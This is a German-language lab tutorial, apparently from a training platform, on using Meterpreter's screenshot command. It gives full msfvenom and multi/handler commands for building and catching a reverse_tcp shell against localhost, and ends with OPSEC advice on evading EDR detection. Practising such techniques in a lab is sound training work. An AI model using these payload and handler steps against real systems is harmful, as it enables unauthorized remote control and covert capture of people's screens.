Einleitung
Meterpreter ist eine fortschrittliche, dynamisch erweiterbare Payload, die In-Memory-DLL-Injection-Stager verwendet und zur Laufzeit über das Netzwerk erweitert wird. Es ist eine Kernkomponente des Metasploit Frameworks und wird für Post-Exploitation-Aktivitäten auf einem kompromittierten System eingesetzt. Eine seiner vielen leistungsstarken Funktionen ist die Möglichkeit, mit dem Desktop des Ziels zu interagieren.
In diesem Lab lernen Sie, wie Sie den Befehl screenshot innerhalb einer Meterpreter-Sitzung verwenden. Dieser Befehl ermöglicht es einem Angreifer, ein Bild des aktuellen Desktops des Ziels aufzunehmen, was wertvolle Informationen über die Aktivitäten des Benutzers, geöffnete Anwendungen und sensible Informationen liefert, die auf dem Bildschirm sichtbar sein könnten.
Herstellen einer Meterpreter-Sitzung auf einem grafischen Ziel
In diesem Schritt simulieren Sie einen vollständigen Angriffszyklus auf einer einzelnen Maschine. Sie verwenden msfvenom, um eine Payload zu erstellen, msfconsole, um einen Listener einzurichten, und führen dann die Payload aus, um eine Meterpreter-Sitzung mit Ihrer eigenen Maschine herzustellen. Dies ist eine sichere und gängige Methode, um Penetration-Testing-Techniken zu üben.
Öffnen Sie zunächst ein Terminal und verwenden Sie msfvenom, um eine Linux Meterpreter-Payload zu generieren. Dieser Befehl erstellt eine ausführbare Datei, die bei Ausführung eine Verbindung zu unserem Listener herstellt.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
-p: Gibt die zu verwendende Payload an.LHOST=127.0.0.1: Die IP-Adresse des "lauschenden Hosts" (listening host). Wir verwenden127.0.0.1, da unser Listener auf derselben Maschine laufen wird.LPORT=4444: Der Port, zu dem die Rückverbindung hergestellt werden soll.-f elf: Das Ausgabeformat, eine ausführbare Datei für Linux.-o: Der Name der Ausgabedatei.
Machen Sie anschließend die generierte Payload ausführbar:
chmod +x ~/project/payload.elf
Nun müssen Sie den Listener einrichten, um die Verbindung von der Payload abzufangen. Starten Sie die Metasploit Framework-Konsole im leisen Modus (quiet mode):
msfconsole -q
Innerhalb von msfconsole konfigurieren Sie den multi/handler, um auf die eingehende Verbindung zu lauschen. Geben Sie die folgenden Befehle nacheinander ein:
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Führen Sie nun den Listener als Hintergrundjob aus, damit Sie die Konsole weiterhin verwenden können:
exploit -j
Sie sollten eine Meldung sehen, dass der Handler gestartet wurde. Nun müssen Sie die Payload ausführen. Öffnen Sie einen neuen, zweiten Terminal-Tab, indem Sie auf das +-Symbol im Terminalfenster klicken. In diesem neuen Tab führen Sie die erstellte Payload aus:
~/project/payload.elf
Wechseln Sie zurück zu Ihrem ersten Terminal-Tab mit msfconsole. Sie sollten eine Meldung sehen, die darauf hinweist, dass eine Meterpreter-Sitzung geöffnet wurde. Um dies zu überprüfen und damit zu interagieren, listen Sie die aktiven Sitzungen auf:
sessions -l
Sie sehen Ihre neue Sitzung mit einer ID, wahrscheinlich 1. Interagieren Sie damit über ihre ID:
sessions -i 1
Ihr Prompt sollte sich zu meterpreter > ändern, was bestätigt, dass Sie nun die Kontrolle über die Sitzung haben.
Verwenden des screenshot-Befehls zur Bildschirmaufnahme
In diesem Schritt verwenden Sie einen einfachen, aber leistungsstarken Meterpreter-Befehl, um den Desktop des Ziels zu erfassen. Da Sie nun eine aktive Meterpreter-Sitzung haben (angezeigt durch die Eingabeaufforderung meterpreter >), können Sie Befehle auf dem kompromittierten System ausführen.
Der Befehl screenshot ist unkompliziert. Er erfasst den gesamten Bildschirm der interaktiven Benutzersitzung auf der Zielmaschine.
Geben Sie einfach den Befehl an Ihrer meterpreter > Eingabeaufforderung ein und drücken Sie Enter:
screenshot
Meterpreter benötigt einen Moment, um den Bildschirm zu erfassen und die Bilddaten zurück auf Ihre Angreifer-Maschine (Ihre LabEx VM) zu übertragen. Bei Erfolg wird eine Meldung ausgegeben, die angibt, wo der Screenshot gespeichert wurde. Der Dateiname ist eine zufällige Zeichenkette mit der Erweiterung .jpeg.
Die Ausgabe wird in etwa so aussehen:
Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg
Sie haben nun erfolgreich den Desktop des Ziels erfasst. Die Bilddatei wird lokal auf Ihrer Maschine gespeichert und kann von Ihnen eingesehen werden.
Lokalisieren der gespeicherten Bilddatei auf Ihrer Kali-Maschine
In diesem Schritt lokalisieren Sie die Screenshot-Datei, die gerade auf Ihrer lokalen Maschine gespeichert wurde. Der Befehl screenshot speichert das erfasste Bild automatisch in dem Verzeichnis, von dem aus Sie msfconsole gestartet haben, was in unserem Fall ~/project ist.
Beenden Sie zuerst die Meterpreter-Sitzung, um zur msfconsole-Eingabeaufforderung zurückzukehren. Dies können Sie tun, indem Sie exit eingeben:
exit
Beenden Sie nun msfconsole, um zu Ihrer normalen zsh-Terminal-Eingabeaufforderung zurückzukehren:
exit
Sie befinden sich nun wieder in Ihrem Standardterminal. Um zu bestätigen, dass die Datei vorhanden ist, verwenden Sie den Befehl ls -l, um den Inhalt Ihres Projektverzeichnisses detailliert aufzulisten.
ls -l ~/project
Sie sollten die .jpeg-Datei in der Liste sehen, zusammen mit der zuvor erstellten Datei payload.elf. Die Ausgabe wird in etwa so aussehen, wobei der JPEG-Dateiname abweicht:
-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex 54321 Nov 21 14:35 qKxRzYnL.jpeg
Dies bestätigt, dass der Screenshot erfolgreich auf Ihre Maschine übertragen und dort gespeichert wurde.
Anzeigen des erfassten Screenshots
In diesem Schritt sehen Sie das von Ihnen aufgenommene Bild an. Da die LabEx-Umgebung über einen grafischen Desktop verfügt, können Sie einen Bildbetrachter direkt über die Kommandozeile verwenden, um den Inhalt des Screenshots anzuzeigen.
Wir werden ristretto verwenden, einen einfachen Bildbetrachter für die Xfce-Desktop-Umgebung. Um den Screenshot zu öffnen, führen Sie den Befehl ristretto gefolgt vom Pfad zur Bilddatei aus.
Sie müssen FILENAME.jpeg durch den tatsächlichen zufälligen Dateinamen des Screenshots ersetzen, den Sie im vorherigen Schritt gefunden haben. Wenn Ihre Datei beispielsweise qKxRzYnL.jpeg heißt, verwenden Sie diesen Namen.
Führen Sie den folgenden Befehl in Ihrem Terminal aus und stellen Sie sicher, dass Sie Ihren tatsächlichen Dateinamen verwenden:
ristretto ~/project/FILENAME.jpeg
Ein Fenster des Bildbetrachters wird geöffnet und zeigt den Screenshot an. Da Sie die Payload auf Ihrer eigenen Maschine ausgeführt haben, wird der Screenshot Ihren eigenen LabEx-Desktop zeigen! Dies ist eine ausgezeichnete Möglichkeit, zu bestätigen, dass der Befehl genau wie erwartet funktioniert hat. Sie können das Fenster des Bildbetrachters schließen, wenn Sie fertig sind.
Besprechung der operativen Sicherheitsbedenken dieser Aktion
In diesem Schritt werden wir die Auswirkungen der operativen Sicherheit (OPSEC) bei der Verwendung des Befehls screenshot während eines echten Penetrationstests besprechen. Obwohl es sich um einen sehr nützlichen Befehl handelt, ist er nicht ohne Risiken.
1. Erzeugung von "Noise" und Auslösen von Alarmen:
Der Befehl screenshot interagiert mit den grafischen APIs des Zielbetriebssystems (wie GDI unter Windows oder X11 unter Linux). Fortgeschrittene Sicherheitsprodukte wie Endpoint Detection and Response (EDR) oder Antivirensoftware überwachen diese API-Aufrufe. Ein Prozess, der normalerweise nicht mit dem Desktop interagiert und plötzlich einen Screenshot aufnimmt, ist eine hochgradig verdächtige Aktivität, die einen Alarm auslösen und Ihre Anwesenheit für Sicherheitsanalysten aufdecken kann.
2. Hinterlassen von Beweismitteln: Der Befehl führt dazu, dass eine Bilddatei auf der Maschine des Angreifers erstellt wird. Diese Datei ist ein direkter Beweis für die Intrusion und die spezifischen durchgeführten Aktionen. Sollte Ihre Angriffsmaschine jemals beschlagnahmt oder kompromittiert werden, könnten diese Daten verwendet werden, um den Umfang Ihrer Aktivitäten zu verstehen.
3. Artefakte auf der Zielseite: Obwohl die endgültige Bilddatei auf Ihrer Maschine gespeichert wird, kann die Bildschirmaufnahme temporäre Artefakte auf dem Zielsystem hinterlassen. Dies könnte Spuren im Systemspeicher oder Protokolle umfassen, die von Sicherheitssoftware generiert wurden, die die verdächtige Aktion erkannt hat. Ein erfahrener forensischer Ermittler könnte möglicherweise Beweise dafür finden, dass ein Screenshot aufgenommen wurde, auch ohne das Bild selbst zu finden.
Bei einem echten Einsatz müssen Sie Befehle wie screenshot mit Bedacht einsetzen. Sie eignen sich am besten, wenn Sie eine hohe Zuversicht haben, dass das Zielsystem keine fortgeschrittene Überwachung aufweist, oder wenn der potenzielle Informationsgewinn das erhebliche Risiko der Entdeckung überwiegt.
Zusammenfassung
In diesem Labor haben Sie praktische Erfahrungen mit einer grundlegenden Post-Exploitation-Technik gesammelt. Sie haben erfolgreich gelernt, wie Sie eine Meterpreter-Sitzung einrichten und den Befehl screenshot verwenden, um den Desktop eines Zielsystems zu erfassen.
Sie haben den gesamten Prozess durchlaufen:
- Generieren einer Payload mit
msfvenom. - Einrichten eines Listeners mit
msfconsole. - Ausführen der Payload, um eine Reverse Shell zu erhalten.
- Interaktion mit der Meterpreter-Sitzung.
- Erfassen des Bildschirms und Anzeigen des resultierenden Bildes.
- Berücksichtigung der damit verbundenen Risiken für die operative Sicherheit (OPSEC).
Diese Fähigkeit ist ein wertvoller Bestandteil des Werkzeugkastens jedes Penetrationstesters und bietet eine direkte Möglichkeit, visuelle Informationen von einem kompromittierten Host zu sammeln. Herzlichen Glückwunsch zum Abschluss des Labors!


